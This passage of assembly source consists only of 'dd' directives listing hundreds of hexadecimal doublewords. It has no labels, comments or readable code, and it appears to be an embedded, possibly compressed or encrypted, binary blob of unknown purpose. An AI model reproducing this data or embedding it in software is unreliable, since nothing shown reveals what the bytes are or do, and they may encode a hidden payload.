5000A40Dh, 0AE18983Ch, 9A4007BAh dd 10EA248Ah, 0A850FF7Ah, 60FA4980h, 1F47D978h, 9600EF30h dd 0D9A26F4h, 118689h, 5B140EE3h, 0B4805A25h, 0F7F3A800h dd 94F98EEEh, 0A48C0785h, 104FFE3Eh, 443849C0h, 873B6A2Ch dd 0CCC0721Fh, 0BDFE1986h, 57FB031Ch, 18E69364h, 0ABE0A1F3h dd 6C004043h, 1F6FF907h, 0AD01BBh, 883CF2A7h, 344641D2h dd 0F8668C03h, 0F07A5175h, 0BBCA23h, 0BE1638DEh, 0A1626FE9h dd 0C7B98201h, 0B7566A53h, 0F9B5ECh, 352AD04Eh, 757EC085h dd 0D30C1E00h, 26346AFFh, 55E601BBh, 0CD6B4F0Fh, 43DAE445h dd 5EFFF000h, 6C907D50h, 7F92309Bh, 678DE818h, 638220C0h dd 0C428EC06h, 0C0427A31h, 3937E2DBh, 9F656E00h, 62A7C870h dd 5F67002Bh, 55A6E010h, 317649CEh, 0B48014A7h, 0A0E46357h dd 61806572h, 0B2043E82h, 0C79435Fh, 0C19DC310h, 4E011B18h dd 0B8CDAF04h, 57FCDFA3h, 4A450058h, 50C37CEFh, 0E306FDEEh dd 0AEFA511Bh, 0E7F72028h, 6BCF4A00h, 2EC2496h, 0C440167h dd 2CE9201Fh, 8941C881h, 27BD2600h, 718D5A5Fh, 3EB800A9h dd 0F895C438h, 2100D7DBh, 1529F333h, 809B4Eh, 60E75B88h dd 65956AD4h, 9100737Ah, 436CBFB5h, 73C3355Ah, 0D18700D2h dd 59F98BCBh, 0C9006149h, 60C6B686h, 757A9712h, 2CA21DEAh dd 6F8C4067h, 0C94E8AABh, 4B88EC1Ch, 51568280h, 26686C09h dd 1342693h, 0C144E8C3h, 0A93DF8ACh, 0A807BF01h, 0F51E9FC7h dd 1C6B4D0h, 0AFAD1B9Eh, 209D24B3h, 0DD0064EDh, 3D5CA819h dd 0F88D76h, 0E8716597h, 9DDE44CEh, 3E79FE03h, 0A8055D22h dd 0C61A80h, 21EC3B75h, 0FDAC26B9h, 0B5001E76h, 0B102EA7Bh dd 8D9EDAh, 0F0DBA890h, 3FF1755Bh, 697BCB00h, 0C6DA99EFh dd 7D0D00D1h, 0F602334Eh, 5FEAC76Eh, 1F00FCF4h, 435D74B6h dd 46F03h, 0FACCE7CDh, 35568C84h, 7C32F00h, 47401D58h dd 97180EEEh, 0C0DD983Ah, 539E6633h, 0EB00CBC5h, 96308E72h dd 0F59DBE7h, 2164FE42h, 4C3F39A0h, 200F0826h, 0D291870Ah dd 8D5B2C06h, 711B1F30h, 0A1A8402Eh, 7093CB2Fh, 0EC1EDCE0h dd 820311DFh, 0C0AAD5B7h, 0EBF5A7h, 0A0982558h, 0F0CCC660h dd 0E14902E2h, 85A43CB8h, 0E4B10782h, 0B6FCD400h, 2C9A8A98h dd 83ED93h, 0A13D5752h, 70C0119Eh, 0F3F2BBF4h, 5919C042h dd 1CFE7BE7h, 98C9AD00h, 58476034h, 491E00BFh, 0D5A444D6h dd 9F005581h, 0C8DB5494h, 71CC4Dh, 3504F8D0h, 0E1EDB62Bh dd 6A001A7Ch, 586C2F4Eh, 607F12F5h, 2429106Fh, 7E00A5D9h dd 70B0D5DDh, 514CB5CBh, 8FD48CFAh, 65281295h, 61544046h dd 0A4AB2723h, 0D05B5200h, 0B443EBEFh, 0B130CB3h, 51B83F71h dd 40310109h, 8DD88064h, 3174444Bh, 242067A2h, 6F19D8B3h dd 0EE11320Eh, 0D4CFA0C9h, 0FAD5EAC2h, 77E4A093h, 36E40013h dd 84D77B90h, 7D1E112Fh, 41AE31C2h, 7F996900h, 0B3A0FBh dd 26613B0h, 7B2D88A3h, 0E6683A03h, 9869F13Fh, 4C04CFAAh dd 57001CEEh, 0CA4D479Fh, 0B3B044C6h, 256DD480h, 94D448h dd 0BD82F64Eh, 37B2AF2h, 0F3D3AC36h, 21392FE2h, 0FE69808Ch dd 5BF586B9h, 776F16DAh, 5BE0015h, 1E251682h, 1DA2F58h dd 494BCBCDh, 34248A40h, 0FA018EE6h, 0D6E8C426h, 44491CD4h dd 665DE8h, 0A02F3EBCh, 0B37203DFh, 259518C0h, 218C302h dd 33F37DACh, 848FBA1h, 0E209A39Ah, 76F0E57h, 0D1A0655Ch dd 4E95DEh, 217AAFEh, 5CEE1F1Ah, 276D0500h, 61C5B25h, 47FA007Eh dd 42777415h, 6724F465h, 897860CBh, 71DE30C6h, 5FE16690h dd 60562A18h, 771DB0h, 5029B03Ah, 5C252D71h, 5D009877h dd 4E137238h, 508EECBDh, 2070CC68h, 7A1CF020h, 0BA03C2D1h dd 75BD54B2h, 0EFB809C1h, 8C30BCF9h, 3801A99Eh, 34021F67h dd 62311E16h, 0E6505057h, 74F2B26Ah, 0A6630799h, 8475B92Eh dd 0E9D480BCh, 5200ADEEh, 0E35F1AAFh, 9EFD1h, 7FA9F351h dd 0BC89B528h, 0F700E679h, 0F8DCBDBEh, 187157A4h, 805D69EBh dd 0AF0B6B7Bh, 8DB40A7h, 900C850h, 0D95EB61h, 7FFA133Bh dd 3D49001Bh, 0BCFB2BC9h, 25350709h, 0E36F00CBh, 5E7632h dd 0CC1DEFA7h, 50D2D4B6h, 60C280F8h, 85A897D0h, 0D8004FFCh dd 0F7AE6F51h, 8BC4A0E2h, 30BF72EBh, 0F0D096E0h, 3F6B5BAh dd 88153200h, 388FEF75h, 2B700009h, 2819CF98h, 8D60AD81h dd 0F235F6B1h, 8B3A060Dh, 0D95BE6C4h, 8D086907h, 109CED37h dd 9FC30061h, 0C5C95F74h, 470094F2h, 1E921742h, 7C71DB5h dd 0CD563958h, 54B61325h, 2E6E63B8h, 61AA3600h, 0E90F7C1h dd 3DD9735Ah, 82028E4Dh, 0A0921D7Ah, 0E8A06C47h, 84E3E500h dd 4459C0E6h, 7D5803D6h, 56283329h, 62639800h, 7CB56B75h dd 467B013Bh, 0B759FEC6h, 0A7E095D9h, 66E70ABCh, 0AE00F644h dd 0F3C70710h, 4470051h, 49227BF0h, 6E2673F4h, 3E5800CAh dd 1DEE00E0h, 0FA112ABEh, 10010D20h, 4B41FCECh, 48E489CBh dd 6090491Bh, 87017F21h, 0B8477CCCh, 2CA04EE6h, 0B05D1Bh dd 200C0DD0h, 233BCD6Ah, 12948287h, 61A44E32h, 889C790h dd 0A0002BCCh, 5E4709A2h, 7A709548h, 1CF88F3Bh, 8CA482A8h dd 73D1CA58h, 2CF10355h, 6FDC0235h, 6BC3E4D0h, 3EB93D00h dd 0D2F50314h, 8FE4CB0h, 0BEFDC700h, 9080DE29h, 60E68C00h dd 1BED6550h, 0F0313A36h, 12C2CF81h, 0E458A5C7h, 0CE03C855h dd 34A0F2B6h, 3F9FA041h, 841A3391h, 0D1EBEA88h, 72B529C8h dd 4501B27Bh, 7AC240C1h, 98C4533Ch, 9EDB00B9h, 33716170h dd 0CF3F01EBh, 0C9CA001Bh, 0BE394110h, 0A72C4CF3h, 2B400074h dd 34E29B96h, 920F354Fh, 0E0FF8F26h, 487DD1BBh, 12C80018h dd 0A7B66CD6h, 85000C2Eh, 0A9571698h, 2DF22DDh, 0B05FD2D0h dd 2C5039E3h, 0B0180D24h, 0D5C27084h, 51E0080h, 3F27002Bh dd 0A418C9BEh, 7C00C088h, 5C7D449Eh, 62A9BFh, 9A9813A7h dd 6BE91DA6h, 0FE2AE600h, 0B450487Fh, 0E09E07C7h, 40071333h dd 0EA6C8937h, 17C9A118h, 963E71h, 0F89D7DDDh, 14CC7205h dd 852BA900h, 364D1ECh, 2D4B0057h, 28989B81h, 211E140Bh dd 0F700846Ch, 0FD3078F1h, 663B005Ah, 0C29C04EDh, 0A00087F4h dd 849211FFh dd 0ABFEE2h, 0E4990A72h, 10F79DFDh, 55607E67h, 721D508Eh dd 0BBDE0045h, 1B75213h, 1216BC94h, 0F422FC00h, 90E74D90h dd 1C85E260h, 960913h, 8E55192h, 704E066h, 0CF782A38h dd 6A4A5080h, 0D0760A2Dh, 89B47E5Dh, 38AE3686h, 0D4A0F689h dd 63AB25B9h, 8BA70A01h, 294871E6h, 8AB03082h, 30C8E5D1h dd 9201E18Dh, 21318E34h, 19803C49h, 170FDF05h, 0AF5CA1F7h dd 0AD230E10h, 0F9E081D6h, 0DC20BD1Eh, 0C2090780h, 0E0D119E4h dd 925D6F1Dh, 2C68740Eh, 0DA528198h, 8B40E059h, 0F68ED7F9h dd 0D6709FFh, 2CA378F8h, 0C91E3156h, 26803602h, 8717BCF4h dd 0F08CA3E6h, 92C60E2Ch, 0E3F33820h, 14692482h, 2460B1E9h dd 0D9E52977h, 60464FEh, 4A02C87Bh, 0DA4C3276h, 0CA6C6924h dd 2F2EC9FBh, 21B8719Eh, 7259F218h, 55BF3070h, 87F8F030h dd 4EF42A1Eh, 0B98E2C0h, 4AC467F1h, 645C01CBh, 0A41697E7h dd 0DB8270DAh, 0E1F61A9Ch, 98299618h, 8500A894h, 21040EA8h dd 0D6096B79h, 0B8BD80DCh, 8CDB3CB4h, 1D037098h, 0C418D5A2h dd 1EE3F9ADh, 2BB87C0h, 129D13FEh, 5B4052A3h, 2C038480h dd 0DC017F6Dh, 0D197A0C2h, 1A8B90Eh, 0A37853C7h, 19A43080h dd 30710B9h, 0EAA2D189h, 49A868EBh, 35E5843h, 7E4462Eh dd 45483B0h, 74B98028h, 0F1F6D195h, 0E5DB9602h, 0B0DE47C2h dd 1763CDCh, 0D168059Ah, 82292336h, 326C2019h, 7F32E0C8h dd 7180F7EBh, 74CA4948h, 0E548611Eh, 0B86919h, 0F06305B0h dd 3C991DCFh, 57370039h, 0D1BE58F2h, 313ED09h, 0B2EC8201h dd 24E452DBh, 8908AE36h, 0D8A04F73h, 746E104Ch, 0CC130F03h dd 0D05853EEh, 0C0F2E02Ah, 0AAE2A440h, 0FB003E89h, 531AAE77h dd 2CCBF784h, 0FA6AABh, 12EB0B82h, 0D900D8A0h, 0D1552565h dd 93DFFh, 8FC8CAD7h, 8B1558DFh, 27E4DE00h, 0EF100C5Eh dd 0CC2100E8h, 8EE98211h, 7476EA84h, 0F5E3F8C0h, 41B9E28h dd 59A01EB5h, 16C8C06Dh, 0B100D067h, 0B4E49AC4h, 48E80257h dd 0F48B84C7h, 0FCAD58A0h, 337E2DC0h, 2E699100h, 8F24F19Eh dd 0B8E80079h, 7EED83Eh, 9F3BF6E2h, 78A500FFh, 1926E9F8h dd 83EC0099h, 1D4C6527h, 83A012C1h, 0CCE65571h, 0BA8BDD00h dd 0D8607C08h, 285A0041h, 0A9DCAA66h, 0A00E1475h, 0A0E67293h dd 15DB0552h, 707CC3h, 805769DEh, 55F553DAh, 608BBA00h dd 0A5FC2BF1h, 0C0D3A34Fh, 4925Fh, 4E783C42h, 0FFAEEB85h dd 100807Fh, 1B5EA3ECh, 0D11D88h, 0AF3CA9FCh, 79E05751h dd 2C20B200h, 7BB9A6CAh, 28AB073Eh, 708EFBACh, 6CD2721Dh dd 150BA700h, 2E219298h, 168D0537h, 90F21B05h, 486BAB00h dd 8A65C300h, 0C6E7801Ah, 9CE900A3h, 86D1D225h, 0EF078485h dd 0BF193474h, 0D0596530h, 0FF271DF7h, 0FE8DDBDh, 8AA37855h dd 7DF33FC1h, 0A5F55E98h, 51A6B03h, 0AA424483h, 0C9C1C0D5h dd 186A603Dh, 1F51D193h, 2D010779h, 19BEAAD4h, 0CAF8453Ch dd 8EFA0EA7h, 38207EB3h, 0B7A9042Bh, 10D3FD03h, 88D5CF73h dd 3AB8F60Ch, 9480626Eh, 5304D72Eh, 0A5007793h, 70FF18B1h dd 39BAEDCFh, 0CD039A6Eh, 0D2CE9834h, 24B8A100h, 20B18E02h dd 0B740057h, 1F64D63Eh, 0DF002E23h, 0B39AB2CAh, 7FE670F5h dd 306B07B4h, 56F478h, 0FF4D3B58h, 6F398E7Bh, 0BA007F14h dd 0ED3FCAFEh, 7DFDAEh, 52E53CF9h, 8BF3B3BEh, 40400626h dd 0C0CA0Bh, 6310948Ch, 0E84E38BBh, 0B3BF058Fh, 843D0C00h dd 2C00BC28h, 0A34D5011h, 0F4FF1A68h, 2BE61Ch, 0C7CCDF9h dd 0B2B9A064h, 13BD7B58h, 7600F3DCh, 95F4DBB1h, 3CC9AD7h dd 0ED56B6C2h, 0EFF0218Ch, 311C939Ah, 8901A6C7h, 0D791482Bh dd 1880FF21h, 576E9597h, 3E1337A8h, 17009CAEh, 6B3998AAh dd 814C0016h, 8251FD34h, 86077A08h, 6295DAF3h, 66150AF0h dd 0D0FBF32Dh, 0D3E317h, 0BD5C2F20h, 0A94E816Ah, 2C2B8B3Ch dd 4D002CBBh, 977386C8h, 23C401F7h, 30DDA5E1h, 1CDB2055h dd 510C1101h, 4F81F37Dh, 0A0F73820h, 2CC778D7h, 3ACDCDAh dd 16ABBE07h, 0ED7C02B0h, 0D8CC2B00h, 4FE8B81Eh, 50B82Ch dd 82533409h, 6C26AFA8h, 8D0160F5h, 4D2E8400h, 1293BA8Ch dd 135619C0h, 0ECC620D3h, 3200C8ECh, 795F1AFBh, 1D9F9C7Eh dd 3F5B0DAEh, 13D184A6h, 0BB190057h, 0F59E6B77h, 0B61C9A0Bh dd 0D58EB0h, 43D9B1C4h, 36031DE5h, 561F00A9h, 410CC5F1h dd 5C10D260h, 1E347h, 0D1DDB38h, 0BA733ACCh, 0E356A926h dd 8B7C3200h, 131CA4h, 9345C3E6h, 22E0A01Bh, 0AB3D360Fh dd 0FAB58447h, 0D379D080h, 9D3F0082h, 0CD2F1C89h, 973E6972h dd 183800Ch, 962DD975h, 0FBA43CCCh, 0ACBB4A05h, 6993C01Eh dd 0C5009B49h, 847F6705h, 21E9A5h, 0B9C1F25Ch, 0C973FBDFh dd 5AE37101h, 0A34ADD19h, 3342060h, 9CE4B51h, 0EAF85E78h dd 0F0006E38h, 26CA1A83h, 9B51CFh, 248E5BA6h, 760B8C68h dd 504D441Dh, 0ED331E40h, 0B0B3A4F2h, 1C6401FDh, 5B77852Ch dd 1EF88088h, 0ADCEFCAAh, 7940468h, 0C01031F1h, 0E727B2F1h dd 0F49BD605h, 68C0DC54h, 505B7Ch, 4B770A3Eh, 8922385Ah dd 0A67E023Ch, 0E1002FC1h, 0EC84EE76h, 0F20C1E42h, 6CA20040h dd 0CE6080B5h, 8097703Ch, 0D12F2B31h, 0E18315h, 906DB20Ch dd 73799A82h, 5A5EEA03h, 0B85992FFh, 2AB0D8h, 57C03A0Fh dd 9BCFD531h, 1B2D201h, 5B59D432h, 804662F2h, 0F71F4D8Ch dd 0D6460928h, 5002D0Eh, 0F0EB9811h, 7C356D00h, 0F7814972h dd 0D0BB014Bh, 5AA58F86h, 8037E0B4h, 9160251Eh, 341AAF80h dd 2B9485h, 0E77264A5h, 0FF99E9ACh, 0C55B2000h, 8F2E3981h dd 552E6FDh, 5AB3AF48h, 4354A09Dh, 0FE94DB01h, 9EA7BC12h dd 18AD46h, 0ED850408h, 0AB447E5Dh, 844D1209h, 87DC40DEh dd 4C29C006h, 80361C5Ch, 421DB174h, 3ABE11EAh, 0A5007C12h dd 878118FFh, 72BA09h, 555D6928h, 0E1E65BA4h, 803A573Ch dd 830B46A9h, 85C25h, 65447B9Ch, 5B0E31E4h, 7501D572h dd 434E0B61h, 7887BEE1h, 0F11C7912h, 817C7D05h, 325DF0C8h dd 91F05908h, 24C80F93h, 3900C735h, 287B60A0h, 1F721600h dd 0DEB23379h, 8641001Ch, 0AEF17E99h, 0F0065D7Ch, 0DDC46DEDh dd 0C6900E9h, 6685FB59h, 3BE86137h, 0B10E087Bh, 803A124Fh dd 79FA4E27h, 0A8561EC8h, 7CECC002h, 6FD60EE9h, 0FF84E600h dd 3BCDAF0Ch, 0A13C1580h, 1000BC23h, 0B959E4Ah, 719FF6Ch dd 290841A4h, 0BB21ACh, 0C28FD29Eh, 0BB5F1EA6h, 232BB040h dd 1EF83521h, 40F60B44h, 3146143Bh, 0B93FA573h, 9480807Ch dd 5A928A7Fh, 3DE70101h, 446C9055h, 18FF08D6h, 18788C2Eh dd 9900DC0Ch, 745A9309h, 2AF04495h, 8470DAh, 0E7228FB3h dd 0A0B79607h, 82D3B028h, 0C1E87C00h, 9D8B6C92h, 699B1403h dd 8281C8F2h, 805A4DB5h, 0D31D11B9h, 57CC093h, 4FC47EE5h dd 0AA8C446Bh, 9E48309Bh, 3C0B238Bh, 0B0012A11h, 0E4A09E50h dd 9479D865h, 7AD4E800h, 87BEC5BAh, 98FEB8BDh, 0EBD8C06Eh dd 1EE58038h, 6A979B00h, 50C0D6CDh, 819900F7h, 0FE35F30Bh dd 0EFE00E3Eh, 5DC7801Ch, 0C0A3F14Eh, 2206B154h, 923812C4h dd 7E910909h, 76858580h, 8100A4A1h, 5D16257Fh, 0F4375Bh dd 0CB9C7C61h, 0CFA2C89Bh, 0B140680Fh, 91D6FD05h, 7EDBFB03h dd 21DC03A5h, 0DDE50138h, 0E8A273D0h, 0D6A76400h, 7C9DECD8h dd 2F563863h, 1DFF1CF6h dd 1B6DC79Fh, 8491A0C6h, 130028FEh, 90A9FD99h, 0D435B7h dd 0BE53A554h, 0C1AAB988h, 9F006178h, 8BD6817Fh, 0EEACFB5Ch dd 545A1C10h, 2BFC4E85h, 0BBC0109Ah, 0A63A97B9h, 1EDF8CEAh dd 60C308D2h, 11712086h, 290194B9h, 389FE1CBh, 0F4E87014h dd 60FAFC75h, 93929A1h, 0CD00BD64h, 0ECD7456Ch, 0C8580FCBh dd 0DEC0A070h, 46A5ACB9h, 0FEBF22D2h, 2EB90016h, 725F5D4h dd 18C00822h, 0E758A69Eh, 2A28C09Dh, 6149261Eh, 6EAC5C01h dd 0CF20228Eh, 7BF1D171h, 0B5863080h, 950D8374h, 4418457Ch dd 10180E58h, 0CE7292h, 0C0828476h, 3F622C93h, 78F7F21Ch dd 374BF40h, 1D4EDCDh, 776E8E83h, 21D997F5h, 807FDDA9h dd 0ECA1B061h, 784FB17h, 0AD93124Dh, 5B14434Ch, 31352000h dd 0AA4BE3ECh, 0E8B0017Ah, 56FB63F5h, 0D0C98FE1h, 0B4B409Bh dd 3ED90D5h, 0FC082D19h, 200AA979h, 8014117Ah, 2BBA80BAh dd 0A018A165h, 49A70072h, 5F9FFF34h, 12057992h, 8FF47881h dd 0A84429FCh, 61150E19h, 79CE6D22h, 0A94C75C7h, 7280EAE3h dd 4500BDF4h, 62C60EA5h, 12D9A97h, 2B761920h, 0FC776326h dd 0B0A29F6h, 0A0330786h, 0C5755A80h, 0FEAAF16Ch, 9CED00E1h dd 11C121CEh, 9771364Ch, 940EFE2Ah, 0F461E1F6h, 84610808h dd 0E049D182h, 0C48275Bh, 18A0FFB9h, 0B0181174h, 27101351h dd 0DC19C0E1h, 96C83631h, 0BF9D5800h, 0A87670B1h, 3F010392h dd 6F9CAA2Ah, 3115C683h, 0B4DB5Bh, 18EB82CCh, 51D1FEh dd 0FAF074EDh, 80B28E36h, 9F59CD03h, 0E45886h, 5E027B31h dd 0FEAEF7B7h, 0FC9C8200h, 0B0B273A4h, 0BE46061Fh, 690C2741h dd 0BB561201h, 0D4A6AB2Fh, 5E765480h, 47C62614h, 10017E7Dh dd 1993DE09h, 0F080D323h, 768EFB90h, 0C560E486h, 2F92CD48h dd 907B5411h, 53D00F4h, 0CCDD4813h, 1206F917h, 0E36D2EEDh dd 29080479h, 0EAD903BEh, 0A7D32DC0h, 1AE801F2h, 0FF87369Dh dd 11D85556h, 278DCD8h, 15129319h, 6AE15CA9h, 1FB042B8h dd 45679D80h, 0D900C23Eh, 3656FD78h, 0EEE161ABh, 1320357h dd 0C76D305Ah, 0EC808100h, 7783EE55h, 9FC12h, 0F1FD59BBh dd 0C2422F95h, 6EABBD01h, 4C38117Eh, 0F509E850h, 0ED99C052h dd 59260380h, 18FBB912h, 8FDD9C42h, 0FE0C4874h, 61F102FFh dd 0A15D930h, 0FA70F940h, 41D14567h, 963D6931h, 1DF670h dd 9328A384h, 0E1870765h, 909F8902h, 80B6E42Bh, 1379A887h dd 0AC95007Dh, 0E104DA7Eh, 9300BA23h, 269A067Fh, 0A3B256Bh dd 349B15DBh, 0D45F04h, 1D4021C8h, 4ADA3846h, 0E26C0A18h dd 3EE49E20h, 31E073A5h, 1156B1D4h, 0E1A86606h, 3009BC8Fh dd 7420DA8Bh, 0FB01552Ah, 4A75B55Dh, 16CC0958h, 6041C13Eh dd 8098C8D1h, 74B31378h, 0E8AE80h, 0AA383B7Fh, 2F1EEBFCh dd 0D66D490Fh, 6E59B98Dh, 73A2DE0h, 3D7D54E1h, 2BEBF040h dd 4160428Fh, 0DF893051h, 977530C6h, 1F6850D9h, 66964203h dd 0E8127D07h, 4AD627Ch, 606B29D3h, 476F0732h, 0C00D45C1h dd 4AB88910h, 0B9C33DFAh, 0A414F149h, 4369031Fh, 7978C9ECh dd 0CE700C50h, 998EBC05h, 0B040B523h, 3C587041h, 2C4D001Fh dd 0F6D90AE1h, 791CFE40h, 0FF4FE5E6h, 9E2BC12Dh, 49803A32h dd 37F19614h, 0C700A407h, 9E2FED47h, 186785FBh, 88BE344h dd 8A08609h, 0E07CDDC0h, 74B8B257h, 7A217007h, 3AE03B6Ah dd 608E6DBDh, 0D2BB2039h, 5201E31Dh, 1B4107B3h, 0D2D3FE83h dd 8A09033Bh, 63F12ED0h, 8601147Fh, 767CF8C0h, 9CD421A9h dd 0DED2A44h, 0C4E4028Ch, 964BC79Eh, 5C842B00h, 0B0CA00AEh dd 0EEABBAB8h, 8307AA6Fh, 0BF342252h, 3BADC9C0h, 71462A78h dd 51010098h, 46CC285h, 3C006F8Ah, 0DA13318Dh, 4B07625h dd 5B58D13Eh, 0E32489CCh, 0B23AAE0h, 21787200h, 0E79BF6C0h dd 0EE4137BFh, 0B85FB2F8h, 0B9FCAB80h, 0CBFC89B4h, 5783748h dd 413E7C2Bh, 118A9840h, 60AD8178h, 9D73916Ah, 48FECE14h dd 2710B207h, 4C406BE6h, 2DB502h, 13FBA4E7h, 694D8EC8h dd 75A5E506h, 7416C46h, 25675B05h, 0ED4B6129h, 442080BFh dd 0C00E170Ah, 0DDB400D2h, 7BD3638Bh, 5902499h, 92B9313Dh dd 485EC325h, 4F0090E9h, 0EE48E8F3h, 8D9400D9h, 1ADE595Ch dd 0C8334ABDh, 0FDACC945h, 6C2AFC71h, 1D04D30Ch, 0FE8AADDCh dd 134BC31h, 0BE88D56h, 0ADC6314Bh, 50134279h, 0FB0668F4h dd 0C998E800h, 9CFEFAE7h, 371B009Eh, 0C5636784h, 6D0E570Dh dd 0E40B9630h, 4888B04Ah, 77BF0114h, 0C1646E39h, 8CAB7055h dd 1650C00h, 0E64349E5h, 1B209257h, 393CE14Ah, 0C044F0EAh dd 626FED14h, 5CF5189Ah, 93F1321h, 9AF07E4Dh, 0D9DF1000h dd 4A00C750h, 0C5D60257h, 270F298h, 0DE98DBAh, 844C6E3Ah dd 0A81DB702h, 18082B52h, 4A803553h, 1E7F490h, 3ADCD35Eh dd 22CD198Ch, 96F0E74h, 0A8D6A0EEh, 2518Ah, 0A12E88ADh dd 0E3E09341h, 39C07C14h, 1AC851E8h, 3304C4CCh, 0F030F931h dd 920086CCh, 76978474h, 736642BEh, 6D9E186Ah, 0F2345133h dd 0CF00F890h, 9C8B396h, 56B5ADEh, 0F5C7D32Bh, 13CC843h dd 3EAA9700h, 0A74A083Dh, 22B77433h, 7500380Fh, 0C9C6B232h dd 8BBBE62h, 983B423Ah, 0B71B5E00h, 0E50C581h, 0DE4AAA32h dd 119C4851h, 0A24983Ah, 0EBC34104h, 6D42FCE6h, 0CEC8C949h dd 0AA8BCFA6h, 3584F816h, 1480F811h, 24E56655h, 15B45054h dd 9400C01Dh, 0FF99F878h, 0B8737EEDh, 0F566801h, 0B4C34B28h dd 0BBD06025h, 3E8CA830h, 7A89C040h, 85C1258Fh, 2FEF6503h dd 8DEDABF4h, 309F7C82h, 0E31156BFh, 7490B866h, 5602763Eh dd 8B6FA1E7h, 85ED9060h, 21428D30h, 77DC150h, 0C9F97739h dd 38B4F078h, 0C31F7AA3h, 1D4028B0h, 6D44BA9Ch, 0C495496Ch dd 0DFEB6000h, 3EB58726h, 0D033FE00h, 0C252F3E9h, 4BF7020Ah dd 194ABB38h, 0E74254C6h, 40DEA77h, 738B3AC8h, 7D5888D1h dd 0FDFA3203h, 0D8FBB1F9h, 7862EA0Bh, 4A27425h, 633DBEECh dd 1B9CC271h, 0B6003C64h, 0D0F3F266h, 1F773AEh, 3932B8FFh dd 30C283E7h, 79C0E6FCh, 3EDC7829h, 691100DEh, 5B1A7412h dd 410FF056h, 536CDB63h, 0E8C45454h, 334302h, 1651176Ch dd 3ABF49h, 4CC1C3BBh, 69483D39h, 25B1E360h, 141CF643h dd 0C8ABB46Bh, 33EC6303h, 84B0998Bh, 30C89E2Ah, 2742966Bh dd 0B62CA064h, 0E53B9F1Fh, 81593C84h, 0EAF5B882h, 0E0360A49h dd 8BCDD18h, 0E0159066h, 0C43F3Eh, 3DF44D0h, 47249FAh dd 8EAF48E4h, 102C81F5h, 8C00C3Eh, 5066C456h, 7F405DC4h dd 46C756B9h, 80A9666Eh, 0BE4E671h, 5D492F3Eh, 9C03A5F0h dd 42627F65h, 24C9EE5Bh, 40E0B34Ah, 48F5C814h, 49E7C530h dd 92996DD3h, 20DD4C34h, 513F7E0Fh, 60091261h, 682999DAh dd 583190EEh, 0DA5F3043h, 0D9F0096h, 4A0E5133h, 0F21FD767h dd 8CC14801h, 4FF5F3BBh, 7268D4h, 6D521454h, 34DA09Fh dd 0B858D460h, 18DD98A5h, 38463507h, 1003C69Fh, 3AB9D81Eh dd 80D592B8h, 0CE783224h, 518986Bh, 58F49717h, 0E61820E3h dd 0F6062DFCh, 400354ABh, 393800C1h, 9D7AC892h, 8B011EB4h dd 67F7B0A9h, 0AFE44598h, 40D80B6Fh, 400EDAB9h, 9B582BE0h dd 560098DFh, 0B0D78AD3h, 365A6961h, 0B98045A6h, 483B0310h dd 0B9DB0E02h, 9C848083h, 0D3D040E9h, 0C1D67F89h, 14B4DB11h dd 8B4CE082h, 30DAF005h dd 0C820BD46h, 0A2B8ED2h, 3C95EB68h, 0CBA704C4h, 0C584D88Fh dd 8CC3F804h, 1C325E75h, 0F87D012Eh, 0BBF8BA02h, 1944006Bh dd 3A0CAFABh, 0E0C1B41Dh, 8C526788h, 4C29B824h, 4B00AFBBh dd 99D7F013h, 3B006B3Eh, 12F4F231h, 0C4FB9DC9h, 0B5BBA638h dd 0B230DA08h, 66C21156h, 829488C0h, 2E552B8Dh, 0D7F52BC0h dd 54BEBF02h, 0C0A31A42h, 0B234034h, 69DA89C0h, 0C492812h dd 4C518B8h, 1AADDE1Dh, 35503109h, 0E89D0801h, 0C801C6C4h dd 21B0AB32h, 4820F424h, 0A9701AE4h, 60D84Eh, 6650BA7Dh dd 3A18D4E4h, 9CE0E1DDh, 2CCEEEE4h, 4C9803h, 9D6E246Fh dd 8B001C67h, 5C51E854h, 0BCD552Dh, 0B8F2BC08h, 0E2307583h dd 439F8800h, 0AA4C9225h, 0D7B00187h, 0C81F79DFh, 0B93AFCCDh dd 0E0000371h, 4F459611h, 0B5B3C0h, 0C26B7FFh, 622A15CFh dd 4A25A900h, 69AC1A80h, 1B880076h, 0BC361492h, 65077109h dd 0A416CC79h, 0D30D5F60h, 0D1D40FBEh, 4460113Eh, 952B4B5Ah dd 5517BF00h, 3662BCEEh, 91F83F7Fh, 0C092DB00h, 0F7826348h dd 21C27A07h, 36701A07h, 626AA4h, 6CDE06ACh, 3ACCF785h dd 540048F4h, 0BB4AF990h, 0C566D2h, 52269A11h, 0D412E17Ah dd 33ED8600h, 2AB3CD0Fh, 0F3D90683h, 694291A0h, 0E9DFF103h dd 901AC85Ch, 459511h, 271914B6h, 0F6BA4283h, 0D353E600h dd 32C4B921h, 2E790926h, 1E8CEEBEh, 5503BC19h, 0DB4DA635h dd 0CC5800F3h, 0C44B586Dh, 3D079DF1h, 8FE43017h, 0CFB7A430h dd 0B11200B2h, 7D64CD01h, 0B900BF35h, 0D01B4BB4h, 1D96E63Eh dd 83A15255h, 175FAFA2h, 0CD67A690h, 0EF1D2918h, 358FC1h dd 0B74B38A9h, 3768624h, 97C74300h, 0C1DE66ACh, 0FDB2006Ah dd 0FEC5D9D1h, 9E01295Dh, 21DCFA95h, 4BECC1BBh, 0ABAC2849h dd 18D0F48Ch, 0D90E42F7h, 0B53868D1h, 0F6307AEAh, 8E3FB1E3h dd 0E881E9D0h, 0F3B078BDh, 0A4108ECCh, 0A5D7A320h, 6050EA91h dd 0E02B2CE8h, 606738F2h, 0EC22EF80h, 0A816F0A3h, 0F96DB03Dh dd 44987200h, 0D1C4F9C0h, 0FCC100FAh, 705292E9h, 6C1FFE41h dd 0ED0785FBh, 6FC7E586h, 771CA810h, 0F33600B8h, 6A1B2378h dd 0D20C2552h, 813D1F1h, 4E21C0DEh, 0B9E81BAAh, 886D400Eh dd 0A14838E9h, 0DF20C020h, 0FF3A38ADh, 0E00C6A0Ch, 58399Dh dd 7F81D343h, 6CA52FF5h, 0A940F150h, 1BE0048Ch, 620D5241h dd 3B4520E2h, 5807B021h, 0A9E65760h, 83B02FF7h, 392E452h dd 6F1AF94h, 54C0FAE8h, 22FE6B51h, 153310C0h, 0A5A43Eh dd 342FEACh, 0AF9E1190h, 0E70043E2h, 0D94B0AE0h, 6D30B5h dd 8E5F4E08h, 0D42DF04Fh, 874A8900h, 165BD747h, 8B4424D8h dd 45EA0051h, 0BCCDE986h, 7300C572h, 3D0A8F59h, 0E53BAEh dd 27375D7Bh, 1DEE18DDh, 36909800h, 6F0E1CAFh, 3C57E2CCh dd 0C1802250h, 4FFB3B5Ch, 